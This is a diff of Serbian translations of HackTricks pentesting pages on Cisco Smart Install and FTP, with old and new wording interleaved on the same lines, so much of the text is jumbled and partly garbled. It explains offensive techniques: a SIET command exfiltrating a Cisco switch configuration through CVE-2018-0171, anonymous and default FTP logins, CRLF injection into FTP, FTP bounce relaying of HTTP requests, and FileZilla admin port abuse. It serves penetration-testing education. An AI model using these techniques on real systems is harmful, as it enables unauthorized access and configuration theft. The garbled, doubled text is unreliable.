* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** na [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,51 +1,54 @@
# 4786 - Cisco Smart Install # 4786 - Cisco Smart Install
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
## Osnovne Informacije ## Basic Information
**Cisco Smart Install** je Cisco dizajniran za automatizaciju početne konfiguracije i učitavanje slike operativnog sistema za novi Cisco hardver. **Po podrazumevanim podešavanjima, Cisco Smart Install je aktivan na Cisco hardveru i koristi transportni sloj protokola, TCP, sa brojem porta 4786.** **Cisco Smart Install** je Cisco rešenje dizajnirano za automatizaciju inicijalne konfiguracije i učitavanje slike operativnog sistema za novi Cisco hardver. **Po defaultu, Cisco Smart Install je aktivan na Cisco hardveru i koristi transportni sloj protokola, TCP, sa brojem porta 4786.**
**Podrazumevani port:** 4786 **Default port:** 4786
``` ```
PORT STATE SERVICE PORT STATE SERVICE
4786/tcp open smart-install 4786/tcp open smart-install
``` ```
## **Alat za iskorišćavanje Smart Install ranjivosti** ## **Smart Install Exploitation Tool**
**U 2018. godini, otkrivena je kritična ranjivost, CVE-2018-0171, u ovom protokolu. Nivo pretnje je 9.8 na CVSS skali.** **U 2018. godini, otkrivena je kritična ranjivost, CVE-20180171, u ovom protokolu. Nivo pretnje je 9.8 na CVSS skali.**
**Posebno oblikovan paket poslat na TCP/4786 port, gde je Cisco Smart Install aktivan, pokreće prekoračenje bafera, omogućavajući napadaču da:** **Posebno oblikovani paket poslat na TCP/4786 port, gde je Cisco Smart Install aktivan, izaziva prelivanje bafera, omogućavajući napadaču da:**
* prinudno ponovo pokrene uređaj * prisilno restartuje uređaj
* pozove RCE * pozove RCE
* ukrade konfiguracije mrežne opreme. * ukrade konfiguracije mrežne opreme.
**[SIET](https://github.com/frostbits-security/SIET) (Smart Install Exploitation Tool)** je razvijen kako bi iskoristio ovu ranjivost, omogućavajući vam da zloupotrebite Cisco Smart Install. U ovom članku pokazaću vam kako možete pročitati legitimni konfiguracioni fajl hardvera mreže. Konfiguracija eksfiltracije može biti vredna za pentestera jer će saznati o jedinstvenim karakteristikama mreže. To će olakšati život i omogućiti pronalaženje novih vektora za napad. **Alat** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** razvijen je za iskorišćavanje ove ranjivosti, omogućava vam da zloupotrebite Cisco Smart Install. U ovom članku ću vam pokazati kako možete pročitati legitimni konfiguracioni fajl mrežne opreme. Konfiguracija eksfiltracije može biti dragocena za pentestera jer će saznati o jedinstvenim karakteristikama mreže. A to će olakšati život i omogućiti pronalaženje novih vektora za napad.
**Ciljni uređaj će biti "live" Cisco Catalyst 2960 prekidač. Virtuelne slike nemaju Cisco Smart Install, tako da možete vežbati samo na pravom hardveru.** **Ciljani uređaj biće “uživo” Cisco Catalyst 2960 prekidač. Virtuelne slike nemaju Cisco Smart Install, tako da možete vežbati samo na pravom hardveru.**
Adresa ciljnog prekidača je **10.10.100.10 i CSI je aktivan.** Učitajte SIET i pokrenite napad. **Argument -g** znači eksfiltraciju konfiguracije sa uređaja, **argument -i** vam omogućava da postavite IP adresu ranjivog cilja. Adresa ciljanog prekidača je **10.10.100.10 i CSI je aktivan.** Učitajte SIET i započnite napad. **Argument -g** znači eksfiltraciju konfiguracije sa uređaja, **argument -i** vam omogućava da postavite IP adresu ranjivog cilja.
``` ```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10 ~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
``` ```
<figure><img src="../.gitbook/assets/image (773).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (773).png" alt=""><figcaption></figcaption></figure>
Konfiguracija prekidača **10.10.100.10** biće u folderu **tftp/** Konfiguracija prekidača **10.10.100.10** biće u **tftp/** folderu
<figure><img src="../.gitbook/assets/image (1116).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1116).png" alt=""><figcaption></figcaption></figure>
@ -53,14 +56,17 @@ Konfiguracija prekidača **10.10.100.10** biće u folderu **tftp/**
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 21 - Pentesting FTP # 21 - Pentesting FTP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,36 +25,36 @@
## Osnovne informacije ## Osnovne informacije
**Protokol za prenos fajlova (FTP)** služi kao standardni protokol za prenos fajlova preko računarske mreže između servera i klijenta.\ **Protokol za prenos datoteka (FTP)** služi kao standardni protokol za prenos datoteka preko računarske mreže između servera i klijenta.\
To je **plain-text** protokol koji koristi **novi karakter za novi red `0x0d 0x0a`** pa ponekad morate **povezati se koristeći `telnet`** ili **`nc -C`**. To je **protokol u običnom tekstu** koji koristi kao **karakter novog reda `0x0d 0x0a`** pa ponekad treba da **povežete koristeći `telnet`** ili **`nc -C`**.
**Podrazumevani port:** 21 **Podrazumevani port:** 21
``` ```
PORT STATE SERVICE PORT STATE SERVICE
21/tcp open ftp 21/tcp open ftp
``` ```
### Aktivne i pasivne veze ### Veze Aktivne i Pasivne
U **Aktivnom FTP-u** FTP **klijent** prvo **inicira** kontrolnu **vezu** sa svog porta N do FTP servera na komandnom portu - port 21. Zatim, **klijent** zatim **sluša** port **N+1** i šalje port N+1 FTP serveru. FTP **server** zatim **inicira** vezu za podatke, sa **svog porta M do porta N+1** FTP klijenta. U **Aktivnom FTP-u** FTP **klijent** prvo **inicira** kontrolnu **vezu** sa svog porta N na komandni port FTP servera port 21. **Klijent** zatim **sluša** port **N+1** i šalje port N+1 FTP serveru. FTP **server** zatim **inicira** podatkovnu **vezu**, sa **svojeg porta M na port N+1** FTP klijenta.
Međutim, ako FTP klijent ima firewall postavljen koji kontroliše dolazne podatkovne veze spolja, tada aktivni FTP može predstavljati problem. I, izvodljivo rešenje za to je Pasivni FTP. Međutim, ako FTP klijent ima podešen firewall koji kontroliše dolazne podatkovne veze sa spolja, tada aktivni FTP može biti problem. A, izvodljivo rešenje za to je Pasivni FTP.
U **Pasivnom FTP-u**, klijent inicira kontrolnu vezu sa svog porta N do porta 21 FTP servera. Nakon toga, klijent izdaje **passv komandu**. Server zatim šalje klijentu jedan od svojih brojeva porta M. I **klijent** **inicira** vezu za podatke sa **svog porta P do porta M** FTP servera. U **Pasivnom FTP-u**, klijent inicira kontrolnu vezu sa svog porta N na port 21 FTP servera. Nakon toga, klijent izdaje **passv komandu**. Server zatim šalje klijentu jedan od svojih brojeva portova M. I **klijent** **inicira** podatkovnu **vezu** sa **svojeg porta P na port M** FTP servera.
Izvor: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) Izvor: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Debugiranje veze ### Debagovanje veze
FTP komande **`debug`** i **`trace`** mogu se koristiti da se vidi **kako se odvija komunikacija**. **FTP** komande **`debug`** i **`trace`** mogu se koristiti da se vidi **kako se komunikacija odvija**.
## Enumeracija ## Enumeracija
### Preuzimanje banera ### Prikupljanje banera
```bash ```bash
nc -vn <IP> 21 nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
``` ```
### Povežite se na FTP koristeći starttls ### Povezivanje na FTP koristeći starttls
``` ```
lftp lftp
lftp :~> set ftp:ssl-force true lftp :~> set ftp:ssl-force true
@ -61,13 +64,13 @@ lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>] Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password lftp 10.10.10.208:~> login username Password
``` ```
### Neautorizovano nabrajanje ### Unauth enum
Korišćenjem **nmap**-a Sa **nmap**
```bash ```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10 sudo nmap -sV -p21 -sC -A 10.10.10.10
``` ```
Možete koristiti komande `HELP` i `FEAT` da biste dobili informacije o FTP serveru: Možete koristiti komande `HELP` i `FEAT` da dobijete neke informacije o FTP serveru:
``` ```
HELP HELP
214-The following commands are recognized (* =>'s unimplemented): 214-The following commands are recognized (* =>'s unimplemented):
@ -103,9 +106,9 @@ SIZE
STAT STAT
#Info about the FTP server (version, configs, status...) #Info about the FTP server (version, configs, status...)
``` ```
### Anonimna prijava ### Anonymous login
_anonymous : anonymous_\ _anonymous : анониман_\
_anonymous :_\ _anonymous :_\
_ftp : ftp_ _ftp : ftp_
```bash ```bash
@ -119,102 +122,102 @@ ftp <IP>
``` ```
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp) ### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
Ovde možete pronaći lepu listu sa podrazumevanim ftp kredencijalima: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) Ovde možete pronaći lepu listu sa podrazumevanim ftp akreditivima: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Automatizovano ### Automated
Provere anonimne prijave i FTP preusmeravanja se podrazumevano vrše pomoću nmap-a sa opcijom **-sC** ili: Anon login i bounce FTP provere se izvode podrazumevano od strane nmap-a sa **-sC** opcijom ili:
```bash ```bash
nmap --script ftp-* -p 21 <ip> nmap --script ftp-* -p 21 <ip>
``` ```
## Povezivanje pretraživača ## Browser connection
Možete se povezati na FTP server koristeći pretraživač (kao što je Firefox) koristeći URL adresu: Možete se povezati na FTP server koristeći pregledač (kao što je Firefox) koristeći URL kao:
```bash ```bash
ftp://anonymous:anonymous@10.10.10.98 ftp://anonymous:anonymous@10.10.10.98
``` ```
Imajte na umu da ako **veb aplikacija** šalje podatke koje kontroliše korisnik **direktno na FTP server**, možete poslati dvostruko URL enkodirane `%0d%0a` bajtove (u dvostrukom URL enkodiranju ovo je `%250d%250a`) i naterati **FTP server da izvrši proizvoljne radnje**. Jedna od mogućih proizvoljnih radnji je preuzimanje sadržaja sa servera koji kontroliše korisnik, vršenje skeniranja portova ili pokušaj komunikacije sa drugim servisima zasnovanim na običnom tekstu (kao što je http). Napomena da ako **web aplikacija** šalje podatke koje kontroliše korisnik **direktno na FTP server**, možete poslati dvostruko URL kodirane `%0d%0a` (u dvostruko URL kodiranju ovo je `%250d%250a`) bajtove i naterati **FTP server da izvrši proizvoljne radnje**. Jedna od ovih mogućih proizvoljnih radnji je preuzimanje sadržaja sa servera koji kontroliše korisnik, izvođenje skeniranja portova ili pokušaj komunikacije sa drugim uslugama zasnovanim na običnom tekstu (kao što je http).
## Preuzmite sve fajlove sa FTP-a ## Preuzmi sve fajlove sa FTP-a
```bash ```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
``` ```
Ako vaš korisnik/lozinka sadrži specijalne karaktere, može se koristiti [sledeća komanda](https://stackoverflow.com/a/113900/13647948): Ако ваш кориснички налог/лозинка има специјалне знакове, [следећа команда](https://stackoverflow.com/a/113900/13647948) може бити коришћена:
```bash ```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
``` ```
## Neke FTP komande ## Neki FTP komandi
* **`USER korisničko_ime`** * **`USER username`**
* **`PASS lozinka`** * **`PASS password`**
* **`HELP`** Server pokazuje koje komande podržava * **`HELP`** Server označava koji su komandi podržani
* \*\*`PORT 127,0,0,1,0,80`\*\*Ovo će pokazati FTP serveru da uspostavi vezu sa IP adresom 127.0.0.1 na portu 80 (_trebate postaviti 5. karakter kao "0" i 6. kao port u decimalnom obliku ili koristiti 5. i 6. za izražavanje porta u heksadecimalnom obliku_). * \*\*`PORT 127,0,0,1,0,80`\*\*Ovo će označiti FTP server da uspostavi vezu sa IP 127.0.0.1 na portu 80 (_morate staviti 5. karakter kao "0" i 6. kao port u decimalnom formatu ili koristiti 5. i 6. za izražavanje porta u heksadecimalnom formatu_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Ovo će pokazati FTP serveru da uspostavi TCP vezu (_označeno sa "2"_) sa IP adresom 127.0.0.1 na portu 80. Ova komanda **podržava IPv6**. * \*\*`EPRT |2|127.0.0.1|80|`\*\*Ovo će označiti FTP server da uspostavi TCP vezu (_označeno sa "2"_) sa IP 127.0.0.1 na portu 80. Ova komanda **podržava IPv6**.
* **`LIST`** Ovo će poslati listu fajlova u trenutnom folderu * **`LIST`** Ovo će poslati listu fajlova u trenutnom folderu
* **`LIST -R`** Rekurzivni prikaz liste (ako je dozvoljeno od strane servera) * **`LIST -R`** Lista rekurzivno (ako je dozvoljeno od strane servera)
* **`APPE /putanja/nesto.txt`** Ovo će pokazati FTP-u da sačuva primljene podatke sa **pasivne** ili **PORT/EPRT** veze u fajl. Ako fajl već postoji, dodavaće podatke. * **`APPE /path/something.txt`** Ovo će označiti FTP da sačuva podatke primljene iz **pasivne** veze ili iz **PORT/EPRT** veze u fajl. Ako ime fajla postoji, podaci će se dodati.
* **`STOR /putanja/nesto.txt`** Slično kao `APPE` ali će prebrisati fajlove * **`STOR /path/something.txt`** Kao `APPE` ali će prepisati fajlove
* **`STOU /putanja/nesto.txt`** Slično kao `APPE`, ali ako fajl već postoji, neće uraditi ništa. * **`STOU /path/something.txt`** Kao `APPE`, ali ako postoji, neće uraditi ništa.
* **`RETR /putanja/do/fajla`** Pasivna ili port konekcija mora biti uspostavljena. Zatim, FTP server će poslati naznačeni fajl kroz tu konekciju * **`RETR /path/to/file`** Mora se uspostaviti pasivna ili port veza. Tada će FTP server poslati označeni fajl kroz tu vezu
* **`REST 6`** Ovo će pokazati serveru da sledeći put kada šalje nešto koristeći `RETR` treba da počne od 6. bajta. * **`REST 6`** Ovo će označiti server da sledeći put kada pošalje nešto koristeći `RETR` treba da počne od 6. bajta.
* **`TYPE i`** Postavlja transfer u binarni oblik * **`TYPE i`** Postavi transfer na binarni
* **`PASV`** Ovo će otvoriti pasivnu konekciju i pokazati korisniku gde može da se poveže * **`PASV`** Ovo će otvoriti pasivnu vezu i označiti korisnika gde može da se poveže
* **`PUT /tmp/fajl.txt`** Postavlja naznačeni fajl na FTP * **`PUT /tmp/file.txt`** Učitaj označeni fajl na FTP
![](<../../.gitbook/assets/image (386).png>) ![](<../../.gitbook/assets/image (386).png>)
## FTPBounce napad ## FTPBounce napad
Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda može biti korišćena da pokaže serveru da želite da se povežete sa drugim FTP serverom na određenom portu. Zatim, možete koristiti ovo da skenirate koje portove na hostu su otvoreni preko FTP servera. Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda se može koristiti da označi serveru da želite da se povežete na drugi FTP server na nekom portu. Tada možete koristiti ovo da skenirate koji portovi na hostu su otvoreni preko FTP servera.
[**Saznajte ovde kako zloupotrebiti FTP server za skeniranje portova.**](ftp-bounce-attack.md) [**Saznajte ovde kako da zloupotrebite FTP server za skeniranje portova.**](ftp-bounce-attack.md)
Takođe možete zloupotrebiti ovu funkcionalnost da naterate FTP server da interaguje sa drugim protokolima. Možete **postaviti fajl koji sadrži HTTP zahtev** i naterati ranjiv FTP server da ga **pošalje proizvoljnom HTTP serveru** (_možda da dodate novog admin korisnika?_) ili čak postaviti FTP zahtev i naterati ranjiv FTP server da preuzme fajl sa drugog FTP servera.\ Takođe možete zloupotrebiti ovo ponašanje da naterate FTP server da komunicira sa drugim protokolima. Možete **učitati fajl koji sadrži HTTP zahtev** i naterati ranjivi FTP server da **pošalje to na proizvoljni HTTP server** (_možda da dodate novog admin korisnika?_) ili čak učitati FTP zahtev i naterati ranjivi FTP server da preuzme fajl sa drugog FTP servera.\
Teorija je jednostavna: Teorija je jednostavna:
1. **Postavite zahtev (unutar tekstualnog fajla) na ranjivi server.** Zapamtite da ako želite da komunicirate sa drugim HTTP ili FTP serverom, morate promeniti linije sa `0x0d 0x0a` 1. **Učitajte zahtev (unutar tekstualnog fajla) na ranjivi server.** Zapamtite da ako želite da komunicirate sa drugim HTTP ili FTP serverom morate promeniti linije sa `0x0d 0x0a`
2. **Koristite `REST X` da biste izbegli slanje karaktera koje ne želite da pošaljete** (možda ste morali da stavite neki zaglavlje slike na početak da biste postavili zahtev unutar fajla) 2. **Koristite `REST X` da izbegnete slanje karaktera koje ne želite da pošaljete** (možda da biste učitali zahtev unutar fajla morali ste da stavite neki header slike na početku)
3. **Koristite `PORT` da se povežete sa proizvoljnim serverom i servisom** 3. **Koristite `PORT` da se povežete na proizvoljni server i uslugu**
4. **Koristite `RETR` da pošaljete sačuvani zahtev serveru.** 4. **Koristite `RETR` da pošaljete sačuvani zahtev serveru.**
Veoma je verovatno da će ovo **izazvati grešku poput** _**Socket not writable**_ **jer veza ne traje dovoljno dugo da pošalje podatke sa `RETR`**. Predlozi za pokušaj izbegavanja toga su: Veoma je verovatno da će ovo **izbaciti grešku kao** _**Socket not writable**_ **jer veza ne traje dovoljno dugo da pošalje podatke sa `RETR`**. Predlozi da pokušate da izbegnete to su:
* Ako šaljete HTTP zahtev, **stavite isti zahtev jedan za drugim** dok ne dostignete **\~0.5MB** barem. Na primer: * Ako šaljete HTTP zahtev, **stavite isti zahtev jedan za drugim** dok ne dobijete **\~0.5MB** barem. Ovako:
{% file src="../../.gitbook/assets/posts.txt" %} {% file src="../../.gitbook/assets/posts.txt" %}
posts.txt posts.txt
{% endfile %} {% endfile %}
* Pokušajte da **popunite zahtev "junk" podacima relativnim za protokol** (razgovarajući sa FTP-om možda samo junk komande ili ponavljanje `RETR` instrukcije za dobijanje fajla) * Pokušajte da **napunite zahtev sa "junk" podacima vezanim za protokol** (govoreći o FTP-u možda samo junk komande ili ponavljajući `RETR` instrukciju da dobijete fajl)
* Jednostavno **popunite zahtev sa puno nula karaktera ili drugih** (podeljenih u linije ili ne) * Samo **napunite zahtev sa puno null karaktera ili drugih** (podeljenih na linije ili ne)
U svakom slučaju, ovde imate [stari primer kako zloupotrebiti ovo da naterate FTP server da preuzme fajl sa drugog FTP servera.](ftp-bounce-download-2oftp-file.md) U svakom slučaju, ovde imate [stari primer o tome kako zloupotrebiti ovo da naterate FTP server da preuzme fajl sa drugog FTP servera.](ftp-bounce-download-2oftp-file.md)
## Filezilla Server Ranjivost ## Filezilla Server Ranjivost
**FileZilla** obično se **vezuje** za **lokalnu** administrativnu uslugu za **FileZilla-Server** (port 14147). Ako možete napraviti **tunel** sa **vaše mašine** da pristupite ovom portu, možete se **povezati** na **njega** koristeći **praznu lozinku** i **napraviti** novog korisnika za FTP servis. **FileZilla** obično **vezuje** na **lokalno** **Administrativnu uslugu** za **FileZilla-Server** (port 14147). Ako možete da kreirate **tunel** sa **vašeg računara** da pristupite ovom portu, možete **povezati** na **njega** koristeći **praznu lozinku** i **kreirati** **novog korisnika** za FTP uslugu.
## Konfiguracioni fajlovi ## Konfiguracione datoteke
``` ```
ftpusers ftpusers
ftp.conf ftp.conf
proftpd.conf proftpd.conf
vsftpd.conf vsftpd.conf
``` ```
### Post-Eksploatacija ### Post-Exploitation
Podrazumevana konfiguracija vsFTPd-a može se pronaći u `/etc/vsftpd.conf`. Ovde možete pronaći neke opasne postavke: Podrazumevana konfiguracija vsFTPd može se naći u `/etc/vsftpd.conf`. Ovde možete pronaći neke opasne postavke:
* `anonymous_enable=YES` * `anonymous_enable=YES`
* `anon_upload_enable=YES` * `anon_upload_enable=YES`
* `anon_mkdir_write_enable=YES` * `anon_mkdir_write_enable=YES`
* `anon_root=/home/username/ftp` - Direktorijum za anonimne korisnike. * `anon_root=/home/username/ftp` - Direktorijum za anonimne korisnike.
* `chown_uploads=YES` - Promena vlasništva nad anonimno otpremljenim fajlovima * `chown_uploads=YES` - Promeni vlasništvo nad anonimno otpremljenim datotekama
* `chown_username=username` - Korisnik koji dobija vlasništvo nad anonimno otpremljenim fajlovima * `chown_username=username` - Korisnik koji dobija vlasništvo nad anonimno otpremljenim datotekama
* `local_enable=YES` - Omogućava lokalnim korisnicima da se prijave * `local_enable=YES` - Omogući lokalnim korisnicima da se prijave
* `no_anon_password=YES` - Ne traži anonimnog korisnika za lozinku * `no_anon_password=YES` - Ne traži lozinku od anonimnih korisnika
* `write_enable=YES` - Dozvoljava komande: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, i SITE * `write_enable=YES` - Dozvoli komande: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, i SITE
### Shodan ### Shodan
@ -231,7 +234,7 @@ Podrazumevana konfiguracija vsFTPd-a može se pronaći u `/etc/vsftpd.conf`. Ovd
*** ***
## HackTricks Automatske Komande ## HackTricks Automatic Commands
``` ```
Protocol_Name: FTP #Protocol Abbreviation if there is one. Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one. Port_Number: 21 #Comma separated if there is more than one.
@ -283,14 +286,17 @@ Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion Note: sourced from https://github.com/carlospolop/legion
